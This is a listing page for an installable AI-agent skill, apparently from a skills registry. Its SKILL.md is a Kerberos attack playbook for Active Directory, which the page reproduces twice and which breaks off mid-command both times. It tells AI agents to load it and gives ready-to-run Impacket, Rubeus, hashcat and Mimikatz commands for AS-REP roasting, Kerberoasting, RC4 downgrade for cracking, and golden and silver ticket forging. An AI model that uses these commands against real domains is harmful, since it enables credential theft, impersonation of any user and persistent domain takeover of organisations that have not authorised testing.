active-directory-kerberos-attacks

Name: active-directory-kerberos-attacks
Author: Prohao42

91stars8forks

How to install active-directory-kerberos-attacks?

prohao42/aimy-skill/active-directory-kerberos-attacks

$npx -y skills add Prohao42/aimy-skill --skill active-directory-kerberos-attacks

Installs into the current project.

Summary

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide
2
3	> AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos
10	- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate)
11	- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse
12	- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement
13
14	### Advanced Reference
15
16	Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need:
17	- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
18	- End-to-end scenarios from foothold to domain admin
19	- Chained delegation attack flows
20
21	---
22
23	## 1. KERBEROS AUTHENTICATION PRIMER
24
25	```
26	Client KDC (DC) Service
27	│ │ │
28	│── AS-REQ ────────→│ │ (1) Request TGT with user creds
29	│←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash)
30	│ │ │
31	│── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket
32	│←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash)
33	│ │ │
34	│── AP-REQ ─────────────────────────────→│ (5) Present TGS to service
35	│←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional)
36	```
37
38	---
39
40	## 2. AS-REP ROASTING
41
42	Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.
43
44	### Enumerate Vulnerable Users
45
46	```bash
47	# Impacket — from Linux
48	GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
49
50	# Impacket — with domain creds (enumerate automatically)
51	GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
52
53	# Rubeus — from Windows (domain-joined)
54	Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
55
56	# PowerView — enumerate users
57	Get-DomainUser -PreauthNotRequired \| Select-Object samaccountname
58	```
59
60	### Crack AS-REP Hash
61
62	```bash
63	# Hashcat mode 18200
64	hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
65
66	# John
67	john asrep.txt --wordlist=rockyou.txt
68	```
69
70	---
71
72	## 3. KERBEROASTING
73
74	Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.
75
76	### Request Service Tickets
77
78	```bash
79	# Impacket
80	GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
81
82	# Rubeus (from Windows)
83	Rubeus.exe kerberoast /outfile:tgs.txt
84
85	# Rubeus — target specific SPN / high-value accounts
86	Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
87
88	# PowerView + manual request
89	Get-DomainUser -SPN \| Select-Object samaccountname,serviceprincipalname
90	Add-Type -AssemblyName System.IdentityModel
91	New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
92	```
93
94	### Crack TGS Hash
95
96	```bash
97	# Hashcat mode 13100 (RC4) or 19700 (AES)
98	hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
99
100	# RC4 tickets crack much faster than AES256 — target RC4 if possible
101	# Rubeus: /tgtdeleg forces RC4 on some configs
102	Rubeus.exe kerberoast /tgtdeleg
103	```
104
105	---
106
107	## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE
108
109	### Golden Ticket
110
111	Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.
112
113	```bash
114	# Impacket — forge golden ticket
115	ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
116
117	# Mimikatz
118	kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
119
120	# Rubeus
121	Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
122	```
123
124	Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit)
125	Persistence: Valid until krbtgt password is changed twice
126
127	### Silver Ticket
128
129	Forge TGS using the service account's hash → access specific service only, no KDC interaction.
130
131	```bash
132	# Impacket — forge silver ticket for CIFS (file share)
133	ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
134
135	# Mimikatz
136	kerberos::golden /user:administrator /domain:DOMAIN.COM /si

People who liked this also viewed

6 picks

Type

active-directory-kerberos-attacks

91stars8forks

View on GitHub

How to install active-directory-kerberos-attacks?

prohao42/aimy-skill/active-directory-kerberos-attacks

$npx -y skills add Prohao42/aimy-skill --skill active-directory-kerberos-attacks

Installs into the current project.

Summary

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide
2
3	> AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos
10	- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate)
11	- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse
12	- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement
13
14	### Advanced Reference
15
16	Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need:
17	- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
18	- End-to-end scenarios from foothold to domain admin
19	- Chained delegation attack flows
20
21	---
22
23	## 1. KERBEROS AUTHENTICATION PRIMER
24
25	```
26	Client KDC (DC) Service
27	│ │ │
28	│── AS-REQ ────────→│ │ (1) Request TGT with user creds
29	│←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash)
30	│ │ │
31	│── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket
32	│←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash)
33	│ │ │
34	│── AP-REQ ─────────────────────────────→│ (5) Present TGS to service
35	│←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional)
36	```
37
38	---
39
40	## 2. AS-REP ROASTING
41
42	Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.
43
44	### Enumerate Vulnerable Users
45
46	```bash
47	# Impacket — from Linux
48	GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
49
50	# Impacket — with domain creds (enumerate automatically)
51	GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
52
53	# Rubeus — from Windows (domain-joined)
54	Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
55
56	# PowerView — enumerate users
57	Get-DomainUser -PreauthNotRequired \| Select-Object samaccountname
58	```
59
60	### Crack AS-REP Hash
61
62	```bash
63	# Hashcat mode 18200
64	hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
65
66	# John
67	john asrep.txt --wordlist=rockyou.txt
68	```
69
70	---
71
72	## 3. KERBEROASTING
73
74	Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.
75
76	### Request Service Tickets
77
78	```bash
79	# Impacket
80	GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
81
82	# Rubeus (from Windows)
83	Rubeus.exe kerberoast /outfile:tgs.txt
84
85	# Rubeus — target specific SPN / high-value accounts
86	Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
87
88	# PowerView + manual request
89	Get-DomainUser -SPN \| Select-Object samaccountname,serviceprincipalname
90	Add-Type -AssemblyName System.IdentityModel
91	New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
92	```
93
94	### Crack TGS Hash
95
96	```bash
97	# Hashcat mode 13100 (RC4) or 19700 (AES)
98	hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
99
100	# RC4 tickets crack much faster than AES256 — target RC4 if possible
101	# Rubeus: /tgtdeleg forces RC4 on some configs
102	Rubeus.exe kerberoast /tgtdeleg
103	```
104
105	---
106
107	## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE
108
109	### Golden Ticket
110
111	Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.
112
113	```bash
114	# Impacket — forge golden ticket
115	ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
116
117	# Mimikatz
118	kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
119
120	# Rubeus
121	Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
122	```
123
124	Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit)
125	Persistence: Valid until krbtgt password is changed twice
126
127	### Silver Ticket
128
129	Forge TGS using the service account's hash → access specific service only, no KDC interaction.
130
131	```bash
132	# Impacket — forge silver ticket for CIFS (file share)
133	ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
134
135	# Mimikatz
136	kerberos::golden /user:administrator /domain:DOMAIN.COM /si

People who liked this also viewed

6 picks

Type